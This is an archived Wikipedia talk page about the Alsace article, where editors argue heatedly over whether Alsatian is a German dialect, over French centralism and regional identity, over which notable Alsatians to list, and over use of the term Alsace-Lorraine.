* 2) "More often assumed to be bilingual": not really, not more so than Bretagne or Corsica!" - Of course it is! Everybody who has just a slight idea of the situation of the "langues régionales" of France knows that Alsatian/Francique mosellan(Lothringisch) (i.e. German from France) are the one still most wide spread and commonly actively spoken (in their respective region). Apart from the "support" by German and Swiss Media (which Breton and Corsican of course cannot get - not even from Italy or Wales) there is one simple clear reason for that: the 1870 "occupation" - more correctly: annexation (or maybe "liberation"?) by Germany that saved it (until 1919) as only region of nowadays France from the "école républicaine" - the 1882 organisation of the centralized education system - generalising the French-speaking assimilation in all other "régions allophones" (also Occitania, Northern Catalonia and -Basque Country...)! This effect could not even be entirely reversed by the Nazi-annexation, which broke the neck of the Alsatian cultural resistance (by complex of guilt)!
* 3) "Laurent, Jean-Louis and Alain, names which most Germans are unable to pronounce..." - You think I cannot pronounce "Laurent", "Jean-Louis" or "Alain"?? Or you believe I was not able to say them properly before I came to Strasbourg?? That´s ridiculous!! Man soll nicht einfach von sich auf andere schließen, mein Lieber! - Only because (monolingual) French are virtually unable to pronounce any other language correctly than French, this does not mean that speakers of other languages have the same handicap!
* - neither do your contributions! -
"..., because people fail to distinguish cultural, historical and political aspects of the question."
* - Exactly as you with your misuse of the word "Germanic" - which should in fact be "germanique" - as you apply a French meaning. And although you use a French word this keeps you from making the (above) necessary distinctions!
"Here's how I see it:"
* - Who wants to know??
"I think the article should be made to reflect these ideas. Agree? Disagree?"
* Disagree, mon vieux! - Pas d´acc´!! If I look at all the contributions of the "shocked French" - and especially the Alsatians (present) (with a few exceptions by the only lady) - I get the impression it might be better to leave the editing to "neutral" people - even if there may be some unrealistic "Germany-sympathizers" among them ( - vandalism will be corrected anyway!). Since I read this discussion I wonder if "making an article on Alsace without asking for the opinion of Alsatian" isn´t "really odd" (although of course nobody before intended to do so!) but that it might in fact help the "Wiki policies on POVs"! By the way Mme. Sieffert: I really wonder about your references again! To state that "Elsass Frei" and the FLNA are "essentially right wing" maybe right - if right wing means anti-republican in a "Jacobin sense" of way. Right wing in other senses like antisemitic or xenophobic should be proven and treated much more carefully, as this is a common (not only in Alsace) way of trying to harm political foes by destroying their reputation! I do not know it for sure but I seriously doubt your said "links with Alsace D'abord"! Alsace D'abord is xenophobic (proof: the "piggy soup" served to poor people by their "welfare organisation" "Solidarité Alsacienne") - but it is not autonomist or separatist, not even regionalist (although they say so)! It is a regional turnoff of the FN, populist, appealing to Alsatian complexes of feeling (nationally) neglected or exploited but is in fact quite national and legalist. Robert Spieler ("Gambler" in German(/Alsatian)), the founder-party chief mainly thinks of ways to enter political istitutions - "night-and-fog-" or "hit-and-run"-actions are not his cup of tea. The "Elsass Frei"-graffitti everywhere can most probably not be from anybody standing on the grounds of the party´s programm! And the voters obviously prefer the national(ist) original than the regional "fake"! - They even prefer a President Sarkozy who seems to promise them the same things as "the original"...--<IP_ADDRESS> 19:28, 1 December 2007 (UTC)Stephele
Stephele- a few things 1. you will stop calling me or suggesting that I'm some sort of a Jacobin, it's insulting and absurd 2. I'm going to say this one last time: i'm not some sort of close-minded French nationalist. I'm done trying to convince you of this, but just consider the fact that I wouldn't be contributing to this site in English if I were one of those "monolingual ethnocentric French Jacobins" (or whatever you call them). And I'm not leading a crusade against Germany. 3. You should know that I'm not getting emotionally involved in these posts, this is not wishful thinking, hypothesizing or saying what could have been. I'm just saying thigs the way they are.. 4. I'm really touched that you took the time to respond to every single sentence in my post. I, unfortunately, will not do the same. And it's not that the opportunity to satire your contributions is lacking (1870 = liberation??? you can't be serious...)
Anyway, I don't think I have any fundamental disagreements with you, although your confrontational attitude may make it seem like it. I don't understand or care to understand the distinction between Germanic or Germanique. All I know is that Alsace has been influenced in many respects by the country to its East (Germany) and the regions that were there before Germany existed as a country. My main point was that Germany was not a unified country before 1870. So I think i would be more accurate to call Alsace germanic/ique than German. In the same way, parts of Belgium and Italy (Val d'Aoste) have been impacted by the French cultural influence. And yes, for many things, Alsace is more similar to Baden than to Paris. And there's obviously nothing wrong with that.
However (and this is a big however), Alsace has become very French just because it has been a region francaise for the last 60 years. It has been bound by the French constitution, French laws... been French politically. I'm not judging. I'm not saying this is either good or bad, legitimate or not. But that's the way it is. And because France's political model is indeed centralized (call it Jacobin if you want...), republican and non-federal, Alsace has been strongly impacted by it. So just because we eat flammekueche and kougloff, prefer beer and white wine to red, that doesn't mean we're not French. The fact is that a Strasbourgeois would feel more at ease living in Paris, Lille or Bordeaux than somewhere in Western Germany. 60 years of being a French region has made us French, without suppressing our regional identity.
As for the language, I'm no specialist of Alsatian (and I do wish I spoke it better). All I know is that if you tell the average Alsatian that he's speaking German, he'll tell you you're wrong and probably tell you to go to hell. Here's why: the word German is associated to the country Germany, and Germany as a country, a political entity, has never been that popular in Alsace. (Neither has France, but that's a different matter...). Now i'm not denying that in its written form, Alsatian is German. But you Stephele, who pretends to be so concerned with regional identity, should accept the fact that Alsatian is its own dialect. This is not because it is linguistically more different than any other German dialect, but because it's not in Germany.
güets nëies johr
<IP_ADDRESS> (talk) 11:54, 2 January 2008 (UTC)
* Mmh (surprised) - jo, mèrci vielmols! Un e glecklich´s Nejs zeruck! Aww'r - wer bisch? You did not sign properly and got me puzzled here! Are there two AxelW around?
* I am glad to hear, how you understand the term Jacobin - so we are at least d'accord on this! This does not mean that I use it intently in order to insult you!! But it simply is a formula, well known in France, that describes shortly what I see as a problem - and shows at the same time that there are French who do not appreciate (as you yourself it seems) certain forms of (centralized "republican") nationalism. Even if - as everything - it is relative: Some may call others Jacobin - and be called like that at the same time by a third one. There are always some people more Jacobin than others... In the paragraphe on the "right wing - anti-republican (in a "Jacobin sense" of way)"-context I rather used it in a definition-way. If this did not get clear, then I will state here, that in this case I prefer the "Jacobins" over the "right wingers" - at least they are republicans. The problem is (I know that from own observation) when leftist republicans define alone who is right wing - and who is anti-republican. In any case this was not about the person who had seen (unproven) links between the different kinds of right wing-groups in Alsace.
* On the "Germanic/germanique"-matter. I know why you used this term - I use it myself - when speaking French. I prefer to use "germanophone" and "dialecte de l´allemand", though - and most people in Alsace, at least those who know what I am talking about, do not protest. But I intend to explain that more precisely in another answer for this talk page to the contribution on that topic somewhere above. It is a central point! I already did answer to this though in the talk page on Strasbourg. Everyone can inform him- or herself there already about the problem of this way of speaking. (You did it seems - if you are the person I have to believe...?) As is correctly explained in the article on the topic, Alsatian (apart from Northern (Outre Forêt) and "Bossue"- Alsatian) is "a" (precisely another group of) dialect of the Alemanic (Upper German) group and thus today (the division between written Upper and Lower German lost) a dialect of the official German language and historically one of the West Germanic languages that contributed to the forming of the modern German language. National boundaries - or feelings - have nothing to do with these facts. When it comes to feelings - I know quite some Alsatians who fight for bilinguality in their region, and - being totally aware of the feelings of many (fellow) Alsatians towards Germany - they get upset when for the thousandth time they find the facts denied - with the well known intentions behind!
* So I am not sure if we really have a common basis here but I think I do accept the fact that Alsatian is its own dialect - especially in the sense of "not because it is linguistically more different than any other German dialect" and do concede that it is special "because it's not in Germany". But this - and even the detachment from the official language it developed after WWII - does not stop it from being a form of the German language - even if this may be "painful" for some Alsatians! "German" is not defined by national borders - even if there are Austrians who would like their language to be called "Austrian". This has absolutely no linguistical foundations and (so) they are qualified by own fellow countrymen as "Spinner". Germanic in any case is too general as label (espacially in English) and I would like to point out the "West Germanic" from the Article Alsatian which is correct because it is about a period when today´s languages were still in development and when thus the different forms were not clearly defined and grouped yet whereas "West" clearly limits the area (and languages) refered to. Today "West Germanic" roughly means Dutch and German!
* I am also quite aware of the political integration of todays Alsace in France - my comment on the success of Sarkozy (and the votes he won "back" from the FN) may have made that clear. I even am aware of the pre-1870 political integration of Alsace in France (taking actively part in the French Revolution and everything that followed) - and its growing distance towards its "mother land" - exactly for political reasons mainly. So what I wrote on 1870/71 was, of course, provocative (that´s why I put the ""). But the label "liberation" has a need for such treatment as a comparison 1871 - 1919 may show. Why 1870 truly was a liberation (even if France became a republic again through that war - and poor Alsace became a part of the German "neo"feudal prison) gets clear through the context - Alsace became a kind of cultural reserve among French regions (from the école républicaine). - Something those nationalist têtes brulées, like Pierre Bucher (founder of the Strasbourg Alsatian Museum), the people who left us all these chauvinist "idées reçues" of "relentless germanization" of the region, just could not think of! That does not mean that I doubt that in a national sense the majority of the population prefered the "liberation" of 1918 (until 1919!).
* So I would never say that "just because we eat flammekueche and kougloff, prefer beer and white wine to red means we're not French". - That would be either primitively nationalist (from a German point of view) - or it would be (ethnocentrically) provincially stupid ("parisot") ( - from a French point of view). - It would not, though, be Jacobin (as it would mean to exclude a part of the nation and not include by force)! What I really do have a problem with though, are sentences like this one: a Strasbourgeois would feel more at ease living in Paris, Lille or Bordeaux than somewhere in Western Germany. Once more: don´t gerneralize!! (Anyway: how could you live "at ease" in Paris?? :-) ) There are many Alsatians living in Stuttgart (bi de echte Schwowe!!), in Mannheim-Heidelberg area and around Frankfurt-Rhein/Main ( - meaning: they do not take the car to go home every evening after work)! - Did you ask a few?? Ask that cook in Heidelberg if he wouldn´t prefer Paris. Probably he will go: "Parii? Ah non! C´est ouf, Paris!" Or try some Alsatian in Stuttgart, tell him he could go to Bordeaux, the Atlantic close by, huge waves, he could go surfing half a year - and then the wine! - Some might wanna go - and the others: "Jo, ouais... - mais c´est à l´autre bout du monde!" ;-)--<IP_ADDRESS> (talk) 19:05, 8 January 2008 (UTC)Stephele
To Stephele : I was reading your comments here and there and i was feeling kinda hurt. I love France, its history, its regions, its language... is it a bad thing to you ?? Since germans are kinda complexés by their national identity, are we supposed to be too ?? Praising federalism would be better than being a jacobin ? France and Germany are two different countries, both systems have their advantages and their drawbacks. France is a centralized country and wherever you are on the territory of the République, you are equal to any other French. I have been to Alsace several times and i felt this germanic influence and i just loved Alsace for that. Each times I'm travelling across France I'm so amazed to see that France is so diverse but at the same time you can see that people have the same background and are attached to ce je ne sais quoi which makes France so wonderful. Are you waiting us to write that Alsace belongs to Germany ??? Are you waiting us to condemn France jacobinism, this ideal which wants to make French people equal throughout the country ?? I have the feeling that France managed what no other country did. To make one nations out of rich diverse beautiful and so different regions. And i have the feeling that the vast majority throughout France feels French first now. okay I'm patriotic and it can be a good reason for you to look down upon me. So I'm sorry to be so proud of my country, I'm sorry to love so much France, I'm sorry to feel an undescrible chill anytime i hear La Marseillaie, I'm sorry to spend wonderful 14 juillets, I'm sorry to be amazed by the beauty and the little complexities of the French language, I'm sorry to be from a country which has so much to offer.... —Preceding unsigned comment added by JoonaathaanFR (talk • contribs) 13:02, 24 February 2008 (UTC)
* Salut JoonaathaanFR! You felt hurt by my contributions - c'est triste! - But I won't excuse! I will not try to explain to you what I wrote neither, or to smoothen it for you because - I am afraid - you will not understand it again. (Strange though, that you write this here, where for the first time there was a slight trace of understanding between me and the person who made me chose this confrontational way!) I am not acting out of own (German) complexes here - and all this is not about Germans' complexes with their national identity. On the contrary: je décomplèxe là... à fond plutot! All this is about Alsatians' complexes (and not only national ones) - so French' complexes! - And it is about a French (national) problem in the end, as Alsace is not the only French region sharing the same problem. I did not write a single line indicating that I believe that Alsace is no matter of the French nation - but only the German one. So your first "suspicious" question can only be based on prejudice nourished by your simple (national) categories. To your second question: Yes of course, if you want me to accept you as a real republican, as a democrat, then I expect you to condemn jacobinism (in the way it is usually understood in France - even by many of its supporters)! In order to get this point clear, look at what I said on unity an uniformity at the bottom of this talk page. Or you could read (if you read German) what I wrote on France as a "nation of (political) will" (as Switzerland) in the talk on Mulhouse (de:Diskussion:Mülhausen). In this debate I only added another ("the other") pespective - one that was otherwise hidden or censored by views controlled by Alsatian complexes (and not "Alsatian spirit" ("geistiges Elsässertum", René Schickele) - of which they are the contrary). Je crains que tout ceci ne te rendra pas plus supportable ce que j'ai écrit. I, on the contrary, can support a lot of what you wrote! "I love France, its history ( - well partly at least - apart from when they ransacked other countries - or their regions...), its regions, its language...; France and Germany [...] both [...] have their advantages and their drawbacks. France is a centralized country and wherever you are [in] the République, you are equal to any other French. i felt this "germanic" (should be "German" here - "germanic" is too vague; "germanique" is a French word...) influence and i just loved Alsace for that. travelling across France I'm so amazed to see that France is so diverse [with different] people [sharing] the same background - [making] France so wonderful." But if you look at other countries than you see that others did not have to be centralist in order to get the same thing! "France managed what no other country did" - did she??? - Make "one nation out of rich diverse beautiful and so different regions". Yes, and you think that this was only possible by centralism - jacobinism?? Apart from the fact that many French won't agree, and that other countries reached that equality doing without, what you seem to call jacobinism is only the "bright side" of it, the "ideal", the "romantic version". The dark reality is that jacobinists are convinced that this diversity must vanish in order to assure the nations lasting unity! And this is the whole problem!
* So I could say, showing off my German complexes concerning national feelings, that your "feeling sorry" for your national feelings is a good start for the better - but in fact I learned a lot about national feelings in France, to better understand, to tolerate and even partly respect them!, and so - as German(s') complexes are not the point here - I won't do that. Mais je constate qu'ils t'ont encore empeché de comprendre le problème! As often - usually unluckily - national feelings hindered understanding...--<IP_ADDRESS> (talk) 01:19, 26 February 2008 (UTC)Stephele
I noticed the main problem in here is that most of you guys keep talking about what's going on in other brains than theirs. You simply can't say that Alsatians in general think so or do so, since there are so many different issues and so many different sights, especially in cross-bordering countries. IF you really wanna promote your idea, please do it the right way, be starting the sentence with something like "some people think that" and finishing it whith a nice link to your bibliography where interested people might find further informations. You know, I live there too, and very little of what you are fighting about makes sense to me; and when I'm thinking about turkish friends of mine, who live in the neighbourhood, it makes me smile... --qwerkus, 03/08 —Preceding unsigned comment added by <IP_ADDRESS> (talk) 11:29, 25 March 2008 (UTC)
...family going back to 1512? I'm suprised he doesn't have a German bias then, what a child. (talk) 10:50, 27 January 2009 (UTC) —Preceding unsigned comment added by <IP_ADDRESS> (talk)
Fair use rationale for Image:AlsLogo.png
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Why isn't this page Protected?
Why isn't this page protected, how can it be? <IP_ADDRESS> and others like him/her have been vandalizing the page and turning Alsace into some sort of oppressed German province that is aching for freedom when it is far from that. <IP_ADDRESS> has been adding all sorts of made up statistics (Like 45 percent speak German when it really is 25 percent who speak German as a first or second language) There are many other things such as his choice of words that are ruining this article. Aux armes Alsaciens! —The preceding unsigned comment was added by LouisClaude (talk • contribs).
* If you want to have the article protected, you can make a request at Requests for page protection. Camaron1 | Chris 15:49, 13 August 2007 (UTC)
Language section
The language section deserves a weasel tag and needs to be re-written. some sentences don't make any sense. "overwhelming presence of french media"? Alsace is part of France, so it´s normal for French media to be present there, I don't see anything overwhelming about that. I'll get down to editing when I have some time.Axel 18:08, 21 August 2007 (UTC)
* No, please don´t! Laisse béton! As you show here - and made cristal clear in your contributions in the discussion on Strasbourg - you just do not get the point! - As you say: you "don't see anything overwhelming about that" - although it is obvious!! The sentence is absolutely correct - and makes a lot of sense... - in its context: the Alsatian dialect and culture (and the typical bilinguality) are on decline - the overwhelming - as well - presence of French in the media - as presence of French media as opposed to (German- (and dialect-) speaking) Swiss and German media - furthers this trend. I am not surprised that many French are unable to understand the problem but your show of this strange ignorance here is quite impressing though! "Alsace is part of France, so it´s normal for French media to be present there...!" - Well, of course, nobody could deny that! You just have to understand the importance of the word "overwhelming" in that place! There is a difference between "presence" and "overwhelming presence" (even if some peolpe cannot see it)! In France there may - linguistically - be no difference, but in most democratic countries, whenever you have a region where more than half (most times even far less) of the population speak another (mother-)language than the official (majority) language of this country, then it would be seen as normal that the media in that area are in that special language at an according proportion. Of course this is different in France (where French (language) is seen as the only "normal" thing - the norm) but that fact does not change the matter. The only editing truthfully allowed would be to add a "(-speaking)" to "French" in the phrase! Try that kind of intellectual censorship in the French(speaking) Wikipedia - I do not know if you will get through there - but let other people (in other languages) have their own perspective on the subject! --<IP_ADDRESS> 14:42, 26 October 2007 (UTC)Stephele
I noticed the "hot" discussions in here, which just fits into a description of this country: the beeing french/beeing german or speaking french/speaking german IS a problem around here, often coupled to weired family history, so that is often ends in flaming debates. I just think that - if I recall it correctly - there is an article about language policy in France where this discussion should take place, and not in a descriptive article about Alsace. What we need here are facts&numbers so that someone can easily walk through it. ---qwerkus —Preceding unsigned comment added by <IP_ADDRESS> (talk) 11:20, 25 March 2008 (UTC)
List of notable Alsatians (2)
I've completely rewritten that list, which had been full of people who were not born in Alsace (Pflimlin, Gutenberg...) or not famous enough yet (Voeckler - what did he really win?), or shere hoaxes (several names towards the end of the list). I've also corrected several missspellings and added Noble Prize winners (Bethe, Lehn), world-famous artists (Marceau, Münch, Schongauer...) and some important scientists (the Friedels, Appell) Wikipeople seem only to give a fart about. Pity it took so long i stumbled across this disgrace ! Yours, RCS 17:44, 24 August 2007 (UTC)
* Good work! - But... Of course you are right about Gutenberg (although he still can be considered as one of the greatest personalities linked to the region) but just not to be born in the place does not make "non-Alsatians" out of everyone! I think nobody who knows Alsace would agree that Pierre Pflimlin is not Alsatian only because he was born in inner France! I could not find the explanation for this in Wikipedia (not even the French-speaking one) yet, but I suppose he was from a pro-French family that had opted for France in 1871. Could be a sheer coincidence though - wikipedia.de states that his father still owned the family textile works in Mulhouse... In any case he spent a big part of his youth there, started his career in the region, was mayor of Strasbourg ("premier maire catholique de Strasbourg de 1959 à 1983") and as president of EP always was regarded as a representative of its base city and region. He was Alsatian bilingual (French-German) and I suppose he spoke regional German as well - Catherine Trautmann being the first mayor of Strasbourg not speaking German. --<IP_ADDRESS> 13:55, 26 October 2007 (UTC)Stephele
Loyalties
In view of the German-French historical mix, I've always wondered about the national loyalties of the Alsatians in the first half of the 20th century. I notice the present article says that after WWI, "Alsatians were considered by the French public at large as fellow Frenchmen liberated from German rule," which seems to imply that the Alsatians themselves may have had a different view. Were there pro-French and pro-German factions during the interwar period, or before WWI? If so, what socio-economic, cultural or religious patterns did they reflect? Sca 18:44, 19 September 2007 (UTC)
Political bias II
As was correctly said above the "two sisters" (i.e. "Elsass-Lothringen" - Alsace and Moselle) have immense potency as nationalist symbols on both sides of the border, and both sides try to paint the regions as "really French" or "really German", when in fact they were neither for most of the(ir) history, because nationalism hadn't been invented yet (Tkinias 14:09, 22 Nov 2004). Many readers and users have since objected on this talk page against this "painting as really German" of Alsace in this article - most of the time "painting it as really French" in a way much worse than normally can be found in the article! The biggest protest though was motivated by "paintings" not "normal" - mainly by User:R9tgokunks. I myself tried to take some positive influence on such behaviour in the debate about Strasbourg - only to be accused of giving wrong information and trying to nationalize the image in an anti-French way myself - despite the very clear verifiable information I gave! Despite the absurdity of these attacks (I am used to that kind of ideas about the place - as I know the region itself!) I was a bit shocked, when I came here and saw that there was a whole group of similar people working in the same direction!
After having "fallen victim to it" myself it seems important to me to react to this intense "WEHRmacht"-activity here! Wehrmacht literally means "defense - power". We all know that the real Wehrmacht did slightly exceed this job. M. Wehr, who brought up this comparison and symbolism (himself), seems to see himself as a kind of Wehrmacht for the "real, actual - i.e. French Alsace". Together with some fellow French and Alsatians a real (Frank-)Reichswehr could be put to work here! Their German - oh pardon! - Germanic family names do not keep the combatants from feeling French (why should they???). This makes them "real Alsatians" - so they try to make believe! What we would need here though is no "Wehr" (no, no - not German at all!) but (if it is up to Alsatian names) a "Schlagdenhauffen" ( - français: "tape le tas" - "beat the heap" - ...and beat the crap out of it!! - metaphorically speaking of course!) Yes - that's a real Alsatian name! - Alsatian meaning: it can be found in Alsace - less in Germany. Linguistically it is German though! "Schlag den Haufen"! In Alsatian it would be "Schlaa de Hüffe". Unluckily there is no Alsatian of that kind to be seen!
In order to help preventing that any of this biased "information" (of any side and kind) finds its way into the article I will try to analyse and answer the whole list of the most important points and thus update them in the debate.
User:Paris75000 got active because of this R9tgokunks-sentence: "It has changed hands between France and Germany many many times and many still feel that it rightfully belongs to Germany." But what is wrong with this sentence? - Nothing in fact - at least not the "facts". It did "change hands [...] many many times" and there are "many" who "still feel that it rightfully belongs to Germany". The problem is that the word "many" is very relative in this case as these "many" are a small minority - worldwide - and (supposedly, or most probably) in Alsace, probably extremely insignificant in France (apart from Alsace) and even in Germany without importance! And the times of "changing hands" can be (exactly) counted on one hand! So there is nothing to say against this sentence apart that it is as well for its informational value as well for style absolutely unworthy of an encyclopedia!
Another step was the quarrel (edit war) about (or between) these two sentences: ...the first one being enforced by the "Alsatian fraction", the second one by the "pro-German" side. I feel slightly uncomfortable to say it that clearly, but the first sentence contains easily recognisable nonsense and tendency whereas the second is undeniably correct and simply true!
* 1) "Although it was a German-speaking region during certain periods of its history, most Alsatians today only speak French."
* 2) "Although traditionally it was a German-speaking region, most Alsatians today mainly speak French."
"every Alsatians today speak French ; there is about 25% of the local population who are able to speak as a second language Alsatian or German."
* There are in fact very few people who speak Alsatian as a "second language" - as it is a dialect and by consequence mainly learnt as mother tongue as opposed to language courses. So to be accurate Alsatian in tis majority of cases would have to be qualified as first language and French as second.
Discussion:
* 1) Look at the names of all the towns in Alsace.... ilkirch:German....Erstein: German....Reichshoffen:German....Wertzenau:German...Hochfelden:German....and so forth...
... still in work!--<IP_ADDRESS> (talk) 00:55, 8 December 2007 (UTC)Stephele
Your ranting is getting really old, as are your weak attempts at puns on my name. What you fail to understand (among many other things it seems), is that this is an encyclopedic article, meaning that its role is to say what is, not what could have been, what should have been, what should rightfully be. Alsace is French, not "really French" or anything, just French like the other 21 regions. It has its own regional specificities (culture, architecture, gastronomy...) just like many other regions. And I don't think many Alsatians would disagree with that. Axel 12:08, 2 January 2008 (UTC)
* I don´t "rant", d´abord and the "puns" at your name - you started that! Si ça te plait pas, arrête de pleurnicher et vas te plaindre pour vandalisme. C´est évident qui de nous deux jusque là a été moins respectueux de la "Wikiquette". And then talking about reality (what is...): I think it is getting quite clear by now who of us says "what is" and who is just spreading his ignorance (or lack of contact with reality). As I stressed before you did not even realize that I never said anything different from "Alsace is French". I just said it is German-speaking (and it is like that to a bigger extent (i.e.%) than any other French region is other-than-French-speaking). And that is a reality. - One you do not know! - As an Alsatian! Mais attends - j´ai pas fini! Les "réalités" concernant l´Alsace, il y en aura davantage!
* "Rightfully" ou "really French" par contre (il semblerait qu´il faut le rappeler!) - that´s not from me! Ça vient de tes cops! You know very well, that "really French" or "just French" simply does not matter! The question is what it implies! - And for you it does imply a lot it seems - a lot of "equality"... The strange thing is that so many "egalitarians" understand uniformity when they talk about unity! I don´t know you - so I don´t know what "happened to you", how you came to believe the things you say ( - if you do - not everybody who says them believes them!). I only know that everything you stated above is the product of Jacobinist brainwash. So I would really prefer that you stop trying to tell "what is" - especially if you are not able to give a single true example or reference! And no cynicism like your media-comment above! Somebody used the term "ethnic cleansing" above. So talking about "Bosnia" in the article on that topic you are not allowed to remind of the "pre-cleansing-situation"?? If I understand you right, something like "the international community tried to keep up a certain degree of multiethnic Bosnia" is forbidden ("what is, not what could have been, what should have been") - Bosnia is ethnically cleansed?? Of course we all know that there is no ethnic cleansing (of that kind) going on in France!! In France it is not about the bearers of the ethnic criteria - it is about the criteria only. But that is a different thing! And French (language) is above that anyway (it is non-ethnic it seems)! In the German(-speaking) Wikipedia we had the visit of some strange guy in the debate on Catalonia telling us that we ought to be very careful about the (northern) French part - and that a language does not have rights (meaning it is people who have the rights...). I suppose this guy was French... Then, in order to understand what he meant, you need to know some more stories about France´s langues régionales: At one of the numerous occasions when French politicians made a stance (posture morale...) in favor of Quebec French and the right of the French-speaking "Canadiens" to their own language there were some Bretons present. So they suddenly felt the urge to speak up: "Ouais, nous aussi... we want our language(es) respected and protected!" - And the answer? - "Pourquoi? Qui est-ce qui vous empeche de parler le Français, vous!?" (Who stops you from speaking... French? (!)) In any other country this would be a joke - in France it is (bitterly) serious!! Stating that the language in quite some of the 21 regions is other than French (and clearly say what it is) - traditionally and (up to now) mostly still living - means adding important facts. Voilà tout!--<IP_ADDRESS> (talk) 20:21, 3 January 2008 (UTC)Stephele
You are completely delusional if you think that "Alsace = german-speaking" is reality. If I understand your tenuous and convoluted argment correctly, you claim that Alsatian = German and that Alsatian is wide-spread in Alsace, making German one of the languages of Alsace today. So based on two clearly flawed premises, you come up with an absurd conclusion, which you attempt to corroborate with the obvious fact that Alsace is more German speaking than other French regions are foreign-language-speaking. Thank you for enlightening us, but that doesn't make German one of the current languages of Alsace. You then presume to call me detached from reality. Mon cher, la réalité dont tu parles, je n'ai qu'à sortir de ma porte pour la côtoyer. Perhaps you're the one who should take some time to familiarize yourself with Alsace. I would recommend less Wikipedia, more real world. Quant aux jeux de mots sur mon nom... les blagues les plus courtes sont les meilleures. But clearly, you enjoy making a fool of yourself on Wikipedia talk pages, so rant on. Axel 16:28, 4 January 2008 (UTC)
* Ah bon?: "La réalité dont tu parles, je n'ai qu'à sortir de ma porte pour la côtoyer." - Mais fais-le donc!! Pourquoi ne l'as tu jamais fait alors? Why did you never step out of your door and try to meet this reality?? (In the sense of aller à son encontre, la rencontrer - not just pass it by! Don´t "côtoye" - be a part of it!) Eyes and ears open!! I am afraid it would not help you - but just try! Propabably you will never understand that if a country (even a "democratic" one) does not publicly use a language as "official" it can simply mean, that it does not respect the rights of its citizens - and not that the language is not spoken on its territory! And there! you made another un-French (and unluckily very French at the same time) gaffe: Breton and Corsican are absolutely no "foreign languages" - they are spoken exclusively in France!! The fact that the others, Occitan, Basque, Catalan, Flemish and Arpitan are spoken abroad - and are sometimes even official!! - does not make them "foreign" neither!! They are regional languages - and officially called like that in France. As I proved to you in my detailed answer on "Strasbourg" this is also the case for German with its dialectal forms Alsatian and "Mosellan". I suppose this won't change your attitude and behaviour but as I told you before repeating the same errors over and over again does not make them right. I am sure that I could give you thousands of proofs for you errors (or blindness) without any effect of reason but others at least will easily be able to see who is right! Car je n'ai que faire de tes conseils - I did not avoid a big part of the place when I "familiarized"!! I already told you that my "familiarizing" even taught me Alsatian! But the best liars (like in politics) are of course the ones who simply ignore the arguments and proofs given by their opponents... And - not because it is a "short joke" but because it is so sadly true - the bigger fool is for sure the one who does not even know what is going on in front of his own door!
* Please note that some vandal took away a part of my last answer! (Je crains que non, mais peut-être que c'est pour ça que tu piges que dalle...)--<IP_ADDRESS> (talk) 18:23, 6 January 2008 (UTC) Stephele
Moved from page Strasbourg
The oldest jewish community comes from Alsace include Liliane Ackermann, Gilles Bernheim, Hippolyte Bernheim, Hans Bethe, Marc Bloch, Léon Blum, Marcel Dassault, Alfred Dreyfus, Harlem Desir, Josy Eisenberg, Charles Enderlin, Rachel Félix, Marc Gilbert, Jules Isaac, François Jacob, Jean Kahn, Zadoc Kahn, Nathan Katz, Louis-Lucien Klotz, Brice Lalonde, Jack Lang, Claude Lévi-Strauss, Georges Mandel, Marcel Marceau, Marx Brothers, André Maurois, Marcel Mauss, Jean-Pierre Melville, Jules Moch, Isaïe Schwartz, Laurent Schwartz, Camille Sée, André Spire, Émile Waldteufel, André Weil, Prosper Weil, William Wyler
(move by RCS (talk) 18:42, 26 July 2008 (UTC))
* Marc Bloch, Nathan Katz, Émile Waldteufel or William Wyler absolutely should be in that list (in the article) - as well as Pierre Pflimlin - if they are born there or not! Otherwise you come to that ridiculous situation that Gustave Doré or Charles de Foucauld or Mehdi Baala represent Alsace and the others do not! I do not say they are not Alsatians - but Pflimlin f.e. is for sure much more typical and representative than certain others who are rather percieved as French from Alsace.--<IP_ADDRESS> (talk) Stephele 12:34, 21 August 2008 (UTC)
* Wyler is already in the list, have another look. Waldteufel okay, Claude Rich too if he had an article on his own, but if you start adding people like Pflimlin (or Louise Weiss, or Alain Bashung - grown up in Strasbourg with his alsatian stepfather) you'll end up by putting in people like the Marx Brothers and a hundred others who have had an Alsatian father or mother but have never set foot there. Did you know that Jean-Paul Sartre was a cousin of Albert Schweitzer? Should he belong into the list, too? There has to be a limit somewhere. RCS (talk) 18:23, 21 August 2008 (UTC)
* Danke, wusst´ ich schon. - He was a nephew of second degree to be exact (a cousins son). I never suggested to include him in that list though. I regularly hear Bashung cited as Alsatian here in Strasbourg - as well as his colleague Higelin - and their names seem to justify this (Baschung seems to be an alsatianisation/germanisation of "Bachon..." - and he often seems to sing French with an Alsatian accent :-) ). But looking at their biography I would not agree. But it is obvious that the case of Pflimlin is different (s.above). By the way : I did not say Wyler was not in the list - I just cited people from the above list who should be on the "in-list". Stephele--<IP_ADDRESS> (talk) 11:09, 24 August 2008 (UTC)
Difference between Alsace-Lorraine and the two french regions
Hello !
First of all, I have to point out that the french article fr:Alsace doesn't make use the term Alsace-Lorraine in the intro : it only appears, on historical purpose, at the third of the text. That isn't without reason :
First, "Alsace-Lorraine" is an obsolete word comming from the literal translation of the german word de: Elsass-Lothringen corresponding with the territories annexed between 1871 and 1918.
Latest since 1920 (as reminded in an instruction dated 8.14.1920 from the assistant Secretary of State of the Presidency of the Council to the General Commissioner of the Republic in Strasbourg), its use had been prohibited and had to be replaced by the terms "the département of Haut-Rhin, the département of Bas-Rhin and the département of Moselle", a so long sentence explaining why the short word is still sometimes used to point to the three concerned départements.
However, the word Alsace-Moselle (which hasn't a legal status too) has to be preferred because it points precisely to the three new (in their composition) french départements retrieved since 1918.
Second, the concerned territories don't match the outlines neither of Alsace nor of Lorraine.
Especially, the Territoire de Belfort was excluded from Haut-Rhin ; a part of the Vosges département was added to Bas-Rhin and the later (in its shape) Moselle département was made up with parts of two (out of four) Lorraine départements.
In facts, more than 90 % of Alsace and one fourth of Lorraine made up Elsass-Lothringen (see map hereover).
To give more accuracy to the Alsace article, it would be preferable either to erase the sentence about Alsace-Lorraine in the intro or to modify it the way I did it before it was reverted.
I never wrote, user:Knepflerle, that these "territiories were [...] contested because they had a certain translation", did I ?
If so, I have to apologize because of my so poor level in english language and ask for some help to clearly write what I just said.
Thank you very much. Papatt (talk) 15:46, 28 November 2008 (UTC)
* I know that's not what you meant but that was what the sentence you wrote meant! I attempted to clarify it so that it meant what I think you actually intended, but it has now been changed entirely. Best, Knepflerle (talk) 16:37, 28 November 2008 (UTC)
Language section
The language section deserves a weasel tag and needs to be re-written. some sentences don't make any sense. "overwhelming presence of french media"? Alsace is part of France, so it´s normal for French media to be present there, I don't see anything overwhelming about that. I'll get down to editing when I have some time.Axel 18:08, 21 August 2007 (UTC)
